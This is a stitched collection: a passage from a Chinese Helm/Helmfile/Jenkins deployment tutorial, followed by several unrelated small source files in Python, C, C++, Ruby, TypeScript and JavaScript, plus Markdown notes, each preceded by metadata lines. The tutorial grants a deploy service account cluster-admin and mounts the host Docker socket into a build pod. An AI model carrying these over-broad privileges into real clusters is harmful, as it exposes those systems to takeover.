发行,这里定义了两个发行:第一个名为 postgresql-trip 的发行用来安装 PostgreSQL,指定了图表的名称和版本;第二个名为 trip-service 的图表用来安装行程管理服务 ,使用的是 charts 子目录中的自定义 Helm 图表 trip-service 。</p> <pre class="lang-yaml" data-nodeid="8680"><code data-language="yaml"><span class="hljs-attr">repositories:</span> <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">bitnami</span> <span class="hljs-attr">url:</span> <span class="hljs-string">https://charts.bitnami.com/bitnami</span> <span class="hljs-attr">releases:</span> <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">postgresql-trip</span> <span class="hljs-attr">namespace:</span> {{ <span class="hljs-string">env</span> <span class="hljs-string">"NAMESPACE"</span> <span class="hljs-string">|</span> <span class="hljs-string">default</span> <span class="hljs-string">"happyride"</span> }} <span class="hljs-attr">chart:</span> <span class="hljs-string">bitnami/postgresql</span> <span class="hljs-attr">version:</span> <span class="hljs-number">8.10</span><span class="hljs-number">.13</span> <span class="hljs-attr">wait:</span> <span class="hljs-literal">false</span> <span class="hljs-attr">values:</span> <span class="hljs-bullet">-</span> <span class="hljs-string">../postgresql-config.yaml</span> <span class="hljs-bullet">-</span> <span class="hljs-string">config.yaml</span> <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">trip-service</span> <span class="hljs-attr">namespace:</span> {{ <span class="hljs-string">env</span> <span class="hljs-string">"NAMESPACE"</span> <span class="hljs-string">|</span> <span class="hljs-string">default</span> <span class="hljs-string">"happyride"</span> }} <span class="hljs-attr">chart:</span> <span class="hljs-string">charts/trip-service</span> <span class="hljs-attr">values:</span> <span class="hljs-bullet">-</span> <span class="hljs-string">config.yaml</span> <span class="hljs-bullet">-</span> <span class="hljs-attr">image:</span> <span class="hljs-attr">tag:</span> {{ <span class="hljs-string">requiredEnv</span> <span class="hljs-string">"TRIP_SERVICE_VERSION"</span> <span class="hljs-string">|</span> <span class="hljs-string">quote</span> }} <span class="hljs-attr">resources:</span> <span class="hljs-attr">requests:</span> <span class="hljs-attr">memory:</span> <span class="hljs-string">"512Mi"</span> <span class="hljs-attr">cpu:</span> <span class="hljs-string">"500m"</span> <span class="hljs-attr">limits:</span> <span class="hljs-attr">memory:</span> <span class="hljs-string">"1Gi"</span> <span class="hljs-attr">cpu:</span> <span class="hljs-string">"1"</span> </code></pre> <p data-nodeid="8681">从该文件中可以看出 Helmfile 的一些优势:</p> <ul data-nodeid="8682"> <li data-nodeid="8683"> <p data-nodeid="8684">Helmfile 文件本身可以使用与 Helm 相似的模板语法;</p> </li> <li data-nodeid="8685"> <p data-nodeid="8686">通过 env 函数可以从环境变量中获取值;</p> </li> <li data-nodeid="8687"> <p data-nodeid="8688">可以通过 values 来使用多个配置项的来源,postgresql-trip 发行中的配置项来自两个 YAML 文件,而 trip-service 发行中的配置项来自配置文件和内联的值,Helmfile 会自动对配置项进行合并。</p> </li> </ul> <p data-nodeid="8689">Helmfile 简化了不同发行之间的配置项的共享。在上面的 helmfile.yaml 文件中,两个发行都用到了 config.yaml 文件,该文件中包含了 PostgreSQL 数据库相关的配置,被两个发行所共享。而 postgresql-config.yaml 文件则包含了与 PostgreSQL 相关的全局配置,该文件会被所有的 PostgreSQL 发行所共享。</p> <p data-nodeid="8690">在创建了 helmfile.yaml 文件之后,使用 helmfile apply 命令可以通过 Helm 来安装应用。</p> <p data-nodeid="8691">除了应用自身的服务之外,第三方支撑服务也可以使用 Helmfile 来安装。下面代码中的 helmfile.yaml 文件用来安装 Apache Kafka。</p> <pre class="lang-yaml" data-nodeid="8692"><code data-language="yaml"><span class="hljs-attr">repositories:</span> <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">bitnami</span> <span class="hljs-attr">url:</span> <span class="hljs-string">https://charts.bitnami.com/bitnami</span> <span class="hljs-attr">releases:</span> <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">kafka</span> <span class="hljs-attr">namespace:</span> {{ <span class="hljs-string">env</span> <span class="hljs-string">"NAMESPACE"</span> <span class="hljs-string">|</span> <span class="hljs-string">default</span> <span class="hljs-string">"happyride"</span> }} <span class="hljs-attr">chart:</span> <span class="hljs-string">bitnami/kafka</span> <span class="hljs-attr">version:</span> <span class="hljs-number">11.3</span><span class="hljs-number">.2</span> <span class="hljs-attr">wait:</span> <span class="hljs-literal">true</span> </code></pre> <p data-nodeid="8693">当存在多个应用时,每个应用的 helmfile.yaml 文件可以组织在一起,由另外一个 helmfile.yaml 文件来管理。下面的代码给出了示例应用中不同服务的 helmfile.yaml 文件的组织结构,其中的 apps 子目录包含了每个应用的 helmfile.yaml 文件和 Helm 图表。</p> <pre class="lang-yaml" data-nodeid="8694"><code data-language="yaml"><span class="hljs-string">.</span> <span class="hljs-string">├──</span> <span class="hljs-string">apps</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">address-service</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">address-service-config.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">charts</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">config.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">└──</span> <span class="hljs-string">helmfile.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">axon</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">charts</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">└──</span> <span class="hljs-string">helmfile.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">common</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">charts</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">└──</span> <span class="hljs-string">helmfile.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">kafka</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">└──</span> <span class="hljs-string">helmfile.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">passenger-api-graphql</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">charts</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">└──</span> <span class="hljs-string">helmfile.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">passenger-service</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">charts</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">config.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">└──</span> <span class="hljs-string">helmfile.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">postgresql-config.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">redis</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">└──</span> <span class="hljs-string">helmfile.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp;<span class="hljs-string">└──</span> <span class="hljs-string">trip-service</span> <span class="hljs-string">│</span>&nbsp; &nbsp; &nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">charts</span> <span class="hljs-string">│</span>&nbsp; &nbsp; &nbsp; &nbsp;<span class="hljs-string">├──</span> <span class="hljs-string">config.yaml</span> <span class="hljs-string">│</span>&nbsp; &nbsp; &nbsp; &nbsp;<span class="hljs-string">└──</span> <span class="hljs-string">helmfile.yaml</span> <span class="hljs-string">└──</span> <span class="hljs-string">helmfile.yaml</span> </code></pre> <p data-nodeid="8695">下面是根目录 中的 helmfile.yaml 文件的内容,使用通配符包含了 apps 目录下的全部 helmfile.yaml 文件。</p> <pre class="lang-yaml" data-nodeid="8696"><code data-language="yaml"><span class="hljs-attr">helmfiles:</span> <span class="hljs-bullet">-</span> <span class="hljs-string">apps/*/helmfile.yaml</span> </code></pre> <p data-nodeid="8697">当在根目录下运行 helmfile apply 命令时,全部的应用都会更新。</p> <h3 data-nodeid="8698">持续部署</h3> <p data-nodeid="8699">每个微服务都应该有自己的持续部署流程,对于每个服务来说,代码提交会触发持续集成流程。当持续集成完成之后,该服务的容器镜像会被发布到镜像注册表中,并且由一个唯一的标签来标识。在安装应用的 Helm 图表中,镜像的标签通常以 image.tag 配置项来传递。只需要更新该配置项的值,再使用 Helm 来更新应用的发行,就可以部署新的版本。</p> <p data-nodeid="8700">不同的环境可能 有 各自的持续部署策略。对于开发环境来说,每次代码提交都可以触发部署流程;对于测试环境来说,由于测试周期的问题,测试团队不会频繁更新部署;对于生产环境来说,部署会有更加严格的控制策略。</p> <p data-nodeid="8701">在进行部署时,所需要的输入只有镜像的标签,实际的部署操作由 Helmfile 来完成。下面的代码给出了部署地址管理服务的命令。 环境变量 ADDRESS_SERVICE_VERSION 的值会被传递给对应 Helm 图表的 image.tag 配置项。</p> <pre class="lang-java" data-nodeid="8702"><code data-language="java">$ ADDRESS_SERVICE_VERSION=<span class="hljs-number">1.1</span>.<span class="hljs-number">0</span>-<span class="hljs-number">6</span>ec24a6 helmfile apply </code></pre> <p data-nodeid="8703">为了部署可以成功,Helmfile 在运行时需要访问 Kubernetes 集群。如果 kubectl 可以成功访问 Kubernetes 集群,那么同一机器上的 Helmfile 也能正常访问。如果在 Kubernetes 集群内部的 Pod 容器中进行部署,那么需要注意权限的问题。Pod 运行时默认的服务账户可能没有修改 Kubernetes 资源的权限。</p> <p data-nodeid="8704">下面代码中的 YAML 文件创建了一个服务账户 deploy-user,并且赋予了该账户 cluster-admin 角色,允许访问 Kubernetes 上的任意资源。进行部署工作的 Pod 可以使用该服务账户。 如果需要进一步控制该部署服务账户的权限,可以使用 Kubernetes 提供的 RBAC 支持。</p> <pre class="lang-yaml" data-nodeid="8705"><code data-language="yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span> <span class="hljs-attr">kind:</span> <span class="hljs-string">ServiceAccount</span> <span class="hljs-attr">metadata:</span> <span class="hljs-attr">name:</span> <span class="hljs-string">deploy-user</span> <span class="hljs-attr">namespace:</span> <span class="hljs-string">happyride</span> <span class="hljs-string">---</span> <span class="hljs-attr">apiVersion:</span> <span class="hljs-string">rbac.authorization.k8s.io/v1</span> <span class="hljs-attr">kind:</span> <span class="hljs-string">ClusterRoleBinding</span> <span class="hljs-attr">metadata:</span> <span class="hljs-attr">name:</span> <span class="hljs-string">deploy-user</span> <span class="hljs-attr">roleRef:</span> <span class="hljs-attr">apiGroup:</span> <span class="hljs-string">""</span> <span class="hljs-attr">kind:</span> <span class="hljs-string">ClusterRole</span> <span class="hljs-attr">name:</span> <span class="hljs-string">cluster-admin</span> <span class="hljs-attr">subjects:</span> <span class="hljs-bullet">-</span> <span class="hljs-attr">kind:</span> <span class="hljs-string">ServiceAccount</span> <span class="hljs-attr">name:</span> <span class="hljs-string">deploy-user</span> <span class="hljs-attr">namespace:</span> <span class="hljs-string">happyride</span> </code></pre> <p data-nodeid="8706">下面介绍 Jenkins 上的持续部署的流水线。整个流水线由两个阶段组成:构建阶段负责构建容器镜像并发布到镜像注册表,部署阶段负责调用 helmfile 来更新部署。</p> <p data-nodeid="8707">下面的代码是 Jenkins 的流水线配置。在 Pod 模板中,声明了使用服务账户 deploy-user。Pod 有两个容器,对应于构建和部署两个阶段,分别运行 Maven 和 Helmfile。在构建阶段中,容器镜像的标签被保存在 addressServiceImageTag 变量中;在部署阶段中,该变量的值被传递给环境变量 ADDRESS_SERVICE_VERSION。</p> <pre class="lang-groovy" data-nodeid="8708"><code data-language="groovy">addressServiceImageTag&nbsp;=&nbsp;<span class="hljs-string">''</span> pipeline&nbsp;{ &nbsp;&nbsp;agent&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;kubernetes&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;yaml&nbsp;<span class="hljs-string">""" apiVersion:&nbsp;v1 kind:&nbsp;Pod spec: &nbsp;&nbsp;serviceAccountName:&nbsp;deploy-user &nbsp;&nbsp;securityContext: &nbsp;&nbsp;&nbsp;&nbsp;fsGroup:&nbsp;1000 &nbsp;&nbsp;containers: &nbsp;&nbsp;-&nbsp;name:&nbsp;maven &nbsp;&nbsp;&nbsp;&nbsp;image:&nbsp;maven:3.6.3-jdk-8 &nbsp;&nbsp;&nbsp;&nbsp;command: &nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;sleep &nbsp;&nbsp;&nbsp;&nbsp;args: &nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;infinity &nbsp;&nbsp;&nbsp;&nbsp;resources: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;requests: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cpu:&nbsp;"0.5" &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memory:&nbsp;512Mi &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;limits: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cpu:&nbsp;"1" &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memory:&nbsp;1Gi &nbsp;&nbsp;&nbsp;&nbsp;volumeMounts: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;name:&nbsp;dockersock &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mountPath:&nbsp;"/var/run/docker.sock" &nbsp;&nbsp;-&nbsp;name:&nbsp;helmfile &nbsp;&nbsp;&nbsp;&nbsp;image:&nbsp;quay.io/roboll/helmfile:helm3-v0.125.0 &nbsp;&nbsp;&nbsp;&nbsp;command: &nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;sleep &nbsp;&nbsp;&nbsp;&nbsp;args: &nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;infinity &nbsp;&nbsp;&nbsp;&nbsp;resources: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;limits: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cpu:&nbsp;"0.5" &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memory:&nbsp;256Mi &nbsp;&nbsp;volumes: &nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;name:&nbsp;dockersock &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hostPath: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;path:&nbsp;/var/run/docker.sock """</span> &nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;} &nbsp;&nbsp;stages&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;stage(<span class="hljs-string">'Build'</span>)&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;environment&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BUILD_DOCKER&nbsp;=&nbsp;<span class="hljs-literal">true</span> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CONTAINER_REGISTRY=<span class="hljs-string">'docker-registry:5000'</span> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;steps&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;git&nbsp;<span class="hljs-string">'https://github.com/alexcheng1982/happyride'</span> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;container(<span class="hljs-string">'maven'</span>)&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sh&nbsp;<span class="hljs-string">'mvn&nbsp;-B&nbsp;-ntp&nbsp;-Dmaven.test.failure.ignore&nbsp;install'</span> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;junit&nbsp;<span class="hljs-string">'**/target/surefire-reports/TEST-*.xml'</span> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;script&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;addressServiceImageTag&nbsp;=&nbsp;readFile(<span class="hljs-string">"happyride-address-service/target/image_tag.txt"</span>) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;stage(<span class="hljs-string">'Deploy'</span>)&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;environment&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ADDRESS_SERVICE_VERSION&nbsp;=&nbsp;<span class="hljs-string">"${addressServiceImageTag}"</span> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CONTAINER_REGISTRY&nbsp;=&nbsp;<span class="hljs-string">"localhost:30000"</span> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;steps&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;git&nbsp;<span class="hljs-string">'https://github.com/alexcheng1982/happyride'</span> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;container(<span class="hljs-string">'helmfile'</span>)&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sh&nbsp;<span class="hljs-string">'cd&nbsp;k8s/happyride/apps/address-service&nbsp;&amp;&amp;&nbsp;helmfile&nbsp;apply'</span> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;} } </code></pre> <p data-nodeid="8709">下图是 Jenkins 上运行流水线的结果图。</p> <p data-nodeid="8710"><img src="https://s0.lgstatic.com/i/image/M00/3B/73/CgqCHl8kBquARhV_AAIeNS7HLIc586.png" alt="1.png" data-nodeid="8854"></p> <h3 data-nodeid="8711">总结</h3> <p data-nodeid="8712">通过持续部署,每次代码提交所对应的代码,都可以在 Kubernetes 上部署运行。通过本课时的学习,你可以了解到 Helm 的用法、如何创建 Helm 图表,以及如何使用 Helmfile 来管理多个应用;同时还可以了解如何在 Jenkins 上实现服务的持续部署。</p> <p data-nodeid="11350" class="">最后呢,成老师邀请你为本专栏课程进行结课评价,因为你的每一个观点都是我们最关注的点。<a href="https://wj.qq.com/s2/6902680/3fb2/" data-nodeid="11354">点击链接,即可参与课程评价</a>。</p> --- ### 精选评论
Python
UTF-8
121
3.4375
3
[]
no_license
def zfill(string, width): if len(string) < width: return ("0" * (width - len(string))) + string else: return string
C
UTF-8
1,068
3.484375
3
[ "LicenseRef-scancode-unknown-license-reference", "BSD-3-Clause" ]
permissive
/* * local implementation of strlcpy(), for machines that don't have it. */ #include <stdio.h> #include <string.h> size_t strlcpy(char *dest, char *src, size_t len) { if ( src == 0 || dest == 0 || len == 0 ) return 0; strncpy(dest, src, len); dest[len-1] = 0; #if AAIIEE fprintf(stderr, "strlcpy: \"%s\" -> \"%s\" (%d)\n", src, dest, len); #endif return strlen(src); /* ugh */ } #if TEST static void result(char *dest, char *src, size_t len) { size_t res = strlcpy(dest, src, len); if ( src ) printf("strlcpy(%p,\"%s\",%d)", dest, src, len); else printf("strlcpy(%p,null,%d)", dest, len); printf(" = %d", res); if ( dest && res ) printf(" \"%s\"", dest); putchar('\n'); } int main() { char dest[10]; result(dest, 0, sizeof dest); result(0, "abc", 100); result(dest, "abc", 0); result(0, 0, 0); result(0, 0, 100); result(dest, "abc", sizeof dest); result(dest, "a super super super super long string", sizeof dest); return 0; } #endif/*TEST*/
Markdown
UTF-8
412
3.328125
3
[]
no_license
# Python100 把Python知识点整理成100道习题,知识点来自两本书:Python基础教程(第3版)和流畅的Python,以后会定期加入更多的习题,大家帮忙点个赞哈,点赞越多,更新越快~ ## 怎么将字符列表转为字符串 用 join 方法,合并序列的元素 ``` >>> l = ['Python', 'Circle', 'is', 'ok'] >>> j = ' '.join(l) >>> j 'Python Circle is ok' ```
C++
UTF-8
1,010
3
3
[]
no_license
#include<iostream> #include<string> #include<vector> #include<cmath> #include<map> #include<sstream> #include<fstream> using namespace std; typedef long long ll; ll getVal(ll r, ll n){ return (2*r+4-3 + 2*r+4*n-3)*n/2; } ll calc(ll r, ll t){ ll start = 1; ll end = 2; while(start<end){ ll endVal = getVal(r, end); if(endVal == t) return end; if(endVal < t){ start = end; end *= 2; continue; } int mid = (start+end)/2; ll midVal = getVal(r, mid); if(midVal>=t){ if(end == mid) return start; end = mid; continue; } if(start == mid) return start; start = mid; } return end; } int main(int argc, char* argv[]){ if(argc!=2){ printf("%s input_file\n", argv[0]); return 0; } fstream file(argv[1]); char line[1024]; file.getline(line, 1024); int T = atoi(line); for(int c=1;c<=T;c++){ file.getline(line, 1024); stringstream ss(line); ll r, t; ss>>r>>t; ll ret = calc(r,t); cout<<"Case #"<<c<<": "<<ret<<endl; } return 0; }
Ruby
UTF-8
2,816
3.109375
3
[]
no_license
# Aufgabe a06_4 # Team ChillyCrabs # Author:: Lennart Draeger # Author:: Robert Gnehr require 'set' require_relative 'partner2' # Stores street, street number, postal code, city and country of an address, as # well as its residetns. All changes to the residents also get applied to their # corresponding objects. class Adresse2 attr_reader :plz, :stadt, :strasse, :land, :hausnr protected :plz, :stadt, :strasse, :land, :hausnr include Comparable def initialize(strasse, hausnr, plz, stadt, land) @strasse = strasse @hausnr = hausnr @plz = plz @stadt = stadt @land = land @partners = Set.new end # Adds a new partner to the partners set, unless the partner already exists in # this set. The partners address is set to this object. def add_partner(partner) raise ArgumentError, 'Argument must be of type Partner2' unless partner.is_a?(Partner2) unless @partners.include?(partner) partner.add_address(self) @partners.add(partner) end self end # Removes a partner object from the partners set if it is found there and # removes this address from its attributes. def remove_partner(partner) raise ArgumentError, 'Argument must be of type Partner2' unless partner.is_a?(Partner2) partner.remove_address unless @partners.delete?(partner).nil? end # Returns true if partner is included in this object, i.e. in @partners. def include_partner?(partner) @partners.include?(partner) end # Returns a String containing all address information. def to_s "#{@strasse} #{@hausnr}, #{@plz} #{@stadt}, #{@land}" end # Returns a String containing all partners registered under this address. def partners_to_s @partners.sort.to_a.join("\n") end # Iterates over the @partners set. def each(&block) @partners.each(&block) end def ==(other) return false if other.nil? return true if self.equal?(other) return false unless self.class == other.class [@strasse, @hausnr, @plz, @stadt, @land] == [other.strasse, other.hausnr, other.plz, other.stadt, other.land] end def hash prime = 31 result = 0 result = prime * result + (@strasse.nil? ? 0 : @strasse.hash) result = prime * result + (@hausnr.nil? ? 0 : @hausnr.hash) result = prime * result + (@plz.nil? ? 0 : @plz.hash) result = prime * result + (@stadt.nil? ? 0 : @stadt.hash) prime * result + (@land.nil? ? 0 : @land.hash) end def eql?(other) return false if other.nil? return true if self.equal?(other) return false unless self.class == other.class [@strasse, @hausnr, @plz, @stadt, @land].eql?( [other.strasse, other.hausnr, other.plz, other.stadt, other.land]) end end
TypeScript
UTF-8
309
2.8125
3
[ "MIT" ]
permissive
/** * @file Required * @author Cuttle Cong * @date 2018/4/8 * @description */ import Reason from './Reason' export default class Message extends Reason { constructor(public humanMessage: string) { super() this.humanMessage = humanMessage } toHumanMessage() { return this.humanMessage } }
Markdown
UTF-8
642
2.953125
3
[]
no_license
# MazeMeander You are the mouse. Can you find all the cheeses? This was my first large web game to teach myself Javascript and JQuery. (I was a sophomore at the time and so I didn't have great coding practices when I created this game) It is a game where you are a mouse trying to collect all of the cheeses in a classic maze. The catch is that even though the view is from above, the player can only see what the mouse can see. There are 20 levels of learning to use keys, portals, and pipes to find cheese and avoid cats with three different levels of AI's. There is also a maze maker that allows for point and click creation of levels.
Shell
UTF-8
168
2.96875
3
[]
no_license
#!/bin/bash function cf_outputs_get { key="$1" echo $(jq -r ".[] | select(.OutputKey == \"$key\").OutputValue" ./temp/outputs.json | sed -e 's/^"//' -e 's/"$//') }
C
UTF-8
224
3.28125
3
[]
no_license
#include<stdio.h> #include<math.h> #define PI (3.141592653589793) int main() { float sade = 0.0; printf("Anna ympyran sade: "); scanf_s("%f", &sade); printf("Ympyran pinta-ala on %.2lf ", PI*sade*sade); return 0; }
Markdown
UTF-8
895
3.71875
4
[]
no_license
| [English](README_EN.md) | 简体中文 | # [485. 最大连续 1 的个数](https://leetcode-cn.com/problems/max-consecutive-ones/) ## 题目描述 <p>给定一个二进制数组, 计算其中最大连续 1 的个数。</p> <p> </p> <p><strong>示例:</strong></p> <pre> <strong>输入:</strong>[1,1,0,1,1,1] <strong>输出:</strong>3 <strong>解释:</strong>开头的两位和最后的三位都是连续 1 ,所以最大连续 1 的个数是 3. </pre> <p> </p> <p><strong>提示:</strong></p> <ul> <li>输入的数组只包含 <code>0</code> 和 <code>1</code> 。</li> <li>输入数组的长度是正整数,且不超过 10,000。</li> </ul> ## 相关话题 - [数组](https://leetcode-cn.com/tag/array) ## 相似题目 - [最大连续1的个数 II](../max-consecutive-ones-ii/README.md) - [最大连续1的个数 III](../max-consecutive-ones-iii/README.md)
Python
UTF-8
982
2.8125
3
[]
no_license
def closestNumber(a, b, x): if b == 1: count = a count1 = a c = a else: count = pow(a,b) count1 = count c = count1 if b <0 and a != 1: return 0 elif b<0 and a == 1 or x == 1: return 1 while True: if count%x == 0: break count = count - 1 while True: if count1%x == 0: break count1 = count1 + 1 a = [(c-count,count),(count1-c,count1)] return min(a)[1] a,b,x = 184804527,1, 38664371 # a,b,x = 749242874, 0, 424268981 # a,b,x = 782, -3, 135497282 # a,b,x = 827338328, 0, 84420926 # a,b,x = 295, -1, 632621730 # a,b,x = 84354896, 0, 433925858 # a,b,x = 538, -2, 548233368 # a,b,x = 86, 4, 760313751 # a,b,x = 889949179 ,0 ,356426809 # a,b,x = 820, 2, 918502652 # a,b,x = 717, -1, 264095061 # a,b,x = 750, 2, 984210013 # a,b,x = 859 ,-0, 956297540 # a,b,x = 975962379 ,0, 463480571 # a,b,x = 927613903 ,1, 892066602 # a,b,x = 660261757 ,0, 603570493 # a,b,x = 593210442 ,0, 485560281 # a,b,x = 947348620 ,0, 894429690 print(closestNumber(a,b,x))
C++
UTF-8
421
3.28125
3
[]
no_license
// https://leetcode.com/problems/powx-n/#/description class Solution { public: double myPow(double x, int n) { if(n < 0) return 1.0/pPow(x, (long)(-1)*n); return pPow(x, n); } double pPow(double x, long n) { if(!n) return 1.0; if(n&1) return x*pPow(x, n-1); else { double tmp = pPow(x, n>>1); return tmp*tmp; } } };
JavaScript
UTF-8
517
2.90625
3
[ "MIT" ]
permissive
'use strict' var rotate = require('../gamut/rotate') var scale = require('../scale/scale') /** * Get all modes of a scale * * @name scale.modes * @function * @param {Array} scale - the scale * @param {Array} all the modes of the scale * * @example * var modes = require('music.kit/scale/modes') * modes('C D E') // => [ ['C', 'D', 'E'], ['D', 'E', 'C'], ['E', 'C', 'D'] ] */ module.exports = function (notes) { var s = scale(notes, null) return s.map(function (n, i) { return rotate(i, s) }) }